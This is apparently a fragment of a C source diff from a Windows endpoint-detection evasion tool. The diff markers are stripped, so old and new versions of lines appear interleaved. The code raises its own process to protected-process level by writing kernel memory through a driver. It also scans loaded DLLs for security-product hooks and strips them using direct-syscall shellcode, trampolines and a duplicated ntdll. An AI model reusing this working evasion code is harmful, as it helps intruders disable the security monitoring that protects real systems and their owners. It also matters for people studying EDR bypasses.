|
||||
}
|
||||
|
||||
int SetCurrentProcessAsProtected(BOOL verbose) {
|
||||
HANDLE Device = GetDriverHandle();
|
||||
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
|
||||
if (processEPROCESSAddress == 0x0) {
|
||||
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
|
||||
CloseHandle(Device);
|
||||
_putts_or_not(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect"));
|
||||
return -1;
|
||||
}
|
||||
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
|
||||
_tprintf_or_not(TEXT("[+] [ProcessProtection] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
|
||||
|
||||
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
|
||||
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
|
||||
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
|
||||
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + g_ntoskrnlOffsets.st.eprocess_protection;
|
||||
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.eprocess_protection;
|
||||
|
||||
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
|
||||
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
|
||||
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
|
||||
|
||||
CloseHandle(Device);
|
||||
_tprintf_or_not(TEXT("[*] [ProcessProtection] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
|
||||
WriteMemoryWORD(processSignatureLevelAddress, flagPPLWinTcb);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,685 +0,0 @@
|
||||
/*
|
||||
* All the logic that detects, resolves, patch userland hooks and other related structures
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <PathCch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "UserlandHooks.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include "Undoc.h"
|
||||
|
||||
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
|
||||
|
||||
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
|
||||
#if _WIN64
|
||||
#define PATCH_MAX_SIZE 0x18
|
||||
#else
|
||||
#define PATCH_MAX_SIZE 0x10
|
||||
#endif
|
||||
|
||||
int debugf(const char* fmt, ...) {
|
||||
#if _DEBUG
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
int res = vprintf(fmt, args);
|
||||
va_end(args);
|
||||
return res;
|
||||
#else
|
||||
fmt = 0;
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
|
||||
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
|
||||
*/
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (mem[i] != disk[i]) {
|
||||
size_t patchStartIndex = i;
|
||||
if (NULL != lenPatch) {
|
||||
while (mem[i] != disk[i] && i < len) {
|
||||
i++;
|
||||
}
|
||||
*lenPatch = i - patchStartIndex;
|
||||
}
|
||||
return &mem[patchStartIndex];
|
||||
}
|
||||
}
|
||||
if (NULL != lenPatch) {
|
||||
*lenPatch = 0;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
|
||||
* The list is a NULL-terminated array of "diff" elements
|
||||
*/
|
||||
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
|
||||
size_t diffSize;
|
||||
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
DWORD diffsListLen = 4;
|
||||
size_t diffsListI = 0;
|
||||
diff* diffsList = malloc(diffsListLen * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in malloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
while (diffAddr != NULL && sizeToScan != 0) {
|
||||
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
|
||||
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
searchStartMem = (BYTE*)diffAddr + diffSize;
|
||||
diffsList[diffsListI].mem_ptr = diffAddr;
|
||||
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
|
||||
diffsList[diffsListI].size = diffSize;
|
||||
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
diffsListI++;
|
||||
if (diffsListI >= diffsListLen) {
|
||||
diffsListLen *= 2;
|
||||
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList[diffsListI].mem_ptr = NULL;
|
||||
diffsList[diffsListI].disk_ptr = NULL;
|
||||
diffsList[diffsListI].size = 0;
|
||||
return diffsList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
|
||||
* Only read-only sections are compared, since writable sections will obviously contain differences.
|
||||
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
|
||||
*/
|
||||
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
|
||||
diff* list = NULL;
|
||||
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
|
||||
nonWritableSection != NULL;
|
||||
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
|
||||
debugf("Diffs in section %s:\n", nonWritableSection->Name);
|
||||
DWORD sectionRVA = nonWritableSection->VirtualAddress;
|
||||
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
|
||||
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
|
||||
LPVOID searchStartMem = sectionAddrMem;
|
||||
LPVOID searchStartDisk = sectionAddrDisk;
|
||||
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
|
||||
|
||||
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Dumps the full content of a single file, in a newly allocated buffer
|
||||
*/
|
||||
PBYTE readFullFileW(LPCWSTR fileName) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||
PBYTE fileContent = malloc(fileSize);
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
|
||||
free(fileContent);
|
||||
fileContent = NULL;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return fileContent;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Checks is a file extists (and is not a directory)
|
||||
*/
|
||||
BOOL FileExistsW(LPCWSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesW(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/*
|
||||
* Looks for a memory needle in a memory haystack
|
||||
*/
|
||||
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
|
||||
{
|
||||
if (!haystack)
|
||||
return NULL;
|
||||
if (!haystack_len)
|
||||
return NULL;
|
||||
if (!needle)
|
||||
return NULL;
|
||||
if (!needle_len)
|
||||
return NULL;
|
||||
PBYTE h = haystack;
|
||||
while (haystack_len >= needle_len)
|
||||
{
|
||||
if (!memcmp(h, needle, needle_len))
|
||||
return h;
|
||||
++h;
|
||||
--haystack_len;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
|
||||
*/
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
|
||||
{
|
||||
SIZE_T haystack_len;
|
||||
PVOID haystack;
|
||||
PBYTE patternInExecutableMemory;
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
|
||||
{
|
||||
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
|
||||
continue;
|
||||
}
|
||||
haystack = mbi.BaseAddress;
|
||||
haystack_len = mbi.RegionSize;
|
||||
while (haystack_len)
|
||||
{
|
||||
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
|
||||
if (!patternInExecutableMemory) {
|
||||
break;
|
||||
}
|
||||
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
|
||||
return patternInExecutableMemory;
|
||||
}
|
||||
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
|
||||
haystack = patternInExecutableMemory + 1;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID unhook(hook* hook, DWORD unhook_method) {
|
||||
if (unhook_method == UNHOOK_NONE) {
|
||||
return;
|
||||
}
|
||||
|
||||
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
|
||||
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
diff* patches = hook->list_patches;
|
||||
//merge every small patches into 1 patch to perform a single write
|
||||
diff patch = patches[0];
|
||||
int nb_patches = 0;
|
||||
while (patches[nb_patches].size) {
|
||||
nb_patches++;
|
||||
}
|
||||
diff lastPatch = patches[nb_patches - 1];
|
||||
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
|
||||
|
||||
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
|
||||
|
||||
// Method used to get a NtProtectVirtualMemory function that is safe to use
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
|
||||
// in this case, it is not really "safe" to use
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
GetTempPathW(MAX_PATH, ntdlolFilePath);
|
||||
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
|
||||
|
||||
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(ntdlolFilePath);
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
|
||||
break;
|
||||
case UNHOOK_WITH_DIRECT_SYSCALL:
|
||||
{
|
||||
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
|
||||
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
|
||||
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
|
||||
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
|
||||
OSVERSIONINFOEXW versionInformation = { 0 };
|
||||
RtlGetVersion(&versionInformation);
|
||||
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
|
||||
DWORD oldProtect;
|
||||
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
PBYTE pShellcode = shellcode;
|
||||
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
|
||||
pShellcode += sizeof(mov_eax_syscall_number);
|
||||
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
|
||||
pShellcode += sizeof(mov_r10_rcx);
|
||||
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
|
||||
pShellcode += sizeof(syscall_ret);
|
||||
DWORD syscallNumber = 0;
|
||||
|
||||
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
|
||||
for (int i = 0; i < 0x10; i++ , scanner++) {
|
||||
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
|
||||
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
|
||||
syscallNumber = *pPotentialSycallNumber;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (syscallNumber != 0) {
|
||||
//syscall number found !
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
|
||||
syscallNumber = 0x50; // win10
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
|
||||
syscallNumber = 0x4F; // win8.1 / 2012 R2
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
|
||||
syscallNumber = 0x4E; // win8 / 2012
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion <= 6) {
|
||||
syscallNumber = 0x4D; // win7 / 2008 R2 & before
|
||||
}
|
||||
else {
|
||||
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
*((DWORD*)(&shellcode[1])) = syscallNumber;
|
||||
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
|
||||
#if !_WIN64
|
||||
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
#else
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
printf("Unhook method does not exist, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
break;
|
||||
}
|
||||
|
||||
//actually remove the hook
|
||||
DWORD oldProtect;
|
||||
PVOID patch_mem_ptr = patch.mem_ptr;
|
||||
SIZE_T patch_size = patch.size;
|
||||
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < patch.size; i++) {
|
||||
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
|
||||
}
|
||||
|
||||
status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
|
||||
FreeLibrary(secondNtdll);
|
||||
}
|
||||
DeleteFileW(ntdlolFilePath);
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
|
||||
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
|
||||
}
|
||||
|
||||
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
|
||||
exit(1);
|
||||
}
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID hookResolver(PBYTE hookAddr) {
|
||||
PBYTE destination = hookAddr;
|
||||
BOOL hasFollowedJmp = FALSE;
|
||||
while (TRUE) {
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
VirtualQuery(destination, &mbi, sizeof(mbi));
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
return NULL;
|
||||
}
|
||||
switch (destination[0]) {
|
||||
case 0xE9:
|
||||
{
|
||||
int diff = *((int*)(&destination[1]));
|
||||
destination = &destination[5] + diff;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#if _WIN64
|
||||
case 0xFF:
|
||||
{
|
||||
BYTE selector = destination[1];
|
||||
if (selector != 0x25) {
|
||||
return NULL;
|
||||
}
|
||||
int diff = *((int*)(&destination[2]));
|
||||
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
|
||||
destination = (PBYTE)*offsetPtr;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
if (!hasFollowedJmp) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
|
||||
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
|
||||
}
|
||||
|
||||
hook* searchHooks(const char* csvFileName) {
|
||||
FILE* csvFile = NULL;
|
||||
DWORD hookListSize = 8;
|
||||
DWORD hookList_i = 0;
|
||||
hook* hooksList = calloc(hookListSize, sizeof(hook));
|
||||
if (NULL == hooksList) {
|
||||
debugf("calloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
if (csvFileName) {
|
||||
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
|
||||
perror("CSV file could not be opened:");
|
||||
exit(1);
|
||||
}
|
||||
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
|
||||
}
|
||||
|
||||
BOOL hooksFoundInLastModule = TRUE;
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
|
||||
if (dll_name.Buffer == NULL) {
|
||||
continue;
|
||||
}
|
||||
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
|
||||
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf("\tNo hooks found in this module.\n");
|
||||
}
|
||||
else {
|
||||
hooksFoundInLastModule = FALSE;
|
||||
}
|
||||
printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer
|
||||
);
|
||||
}
|
||||
|
||||
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
|
||||
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
|
||||
if (NULL == memDLL->exportDirectory) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
|
||||
continue;
|
||||
}
|
||||
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
PE* diskDLL = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(diskDLL, memDLL->baseAddress);
|
||||
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
|
||||
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
|
||||
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
|
||||
|
||||
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
|
||||
continue;
|
||||
|
||||
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
|
||||
//check if hook was already detected in this function (due to export aliasing)
|
||||
BOOL alreadyChecked = FALSE;
|
||||
for (size_t i = 0; i < hookList_i; i++) {
|
||||
if (hooksList[i].mem_function == mem_functionStart) {
|
||||
alreadyChecked = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
if (alreadyChecked)
|
||||
continue;
|
||||
|
||||
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
|
||||
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
|
||||
hooksFoundInLastModule = TRUE;
|
||||
PVOID jmpTarget = hookResolver(mem_functionStart);
|
||||
if (NULL == jmpTarget) {
|
||||
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
|
||||
}
|
||||
else {
|
||||
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
|
||||
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
|
||||
printf(" ");
|
||||
}
|
||||
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
|
||||
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer,
|
||||
functionName,
|
||||
jmpTarget,
|
||||
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
|
||||
);
|
||||
}
|
||||
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize *= 2;
|
||||
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||
if (hooksList == NULL) {
|
||||
debugf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
hooksList[hookList_i].mem_function = mem_functionStart;
|
||||
hooksList[hookList_i].disk_function = disk_functionStart;
|
||||
hooksList[hookList_i].functionName = functionName;
|
||||
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
|
||||
hookList_i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf("\tNo hooks found in this module.\n");
|
||||
}
|
||||
if (csvFileName) {
|
||||
fclose(csvFile);
|
||||
}
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize++;
|
||||
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||
if (NULL == hooksList) {
|
||||
printf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
hooksList[hookList_i].mem_function = NULL;
|
||||
hooksList[hookList_i].disk_function = NULL;
|
||||
hooksList[hookList_i].functionName = NULL;
|
||||
|
||||
return hooksList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
|
||||
*/
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
|
||||
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
|
||||
PE* ntdllPE_mem_l = NULL;
|
||||
PE* ntdllPE_disk_l = NULL;
|
||||
|
||||
if (ntdllMemPe_g == NULL) {
|
||||
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
|
||||
}
|
||||
else {
|
||||
ntdllPE_mem_l = ntdllMemPe_g;
|
||||
}
|
||||
if (ntdllDiskPe_g == NULL) {
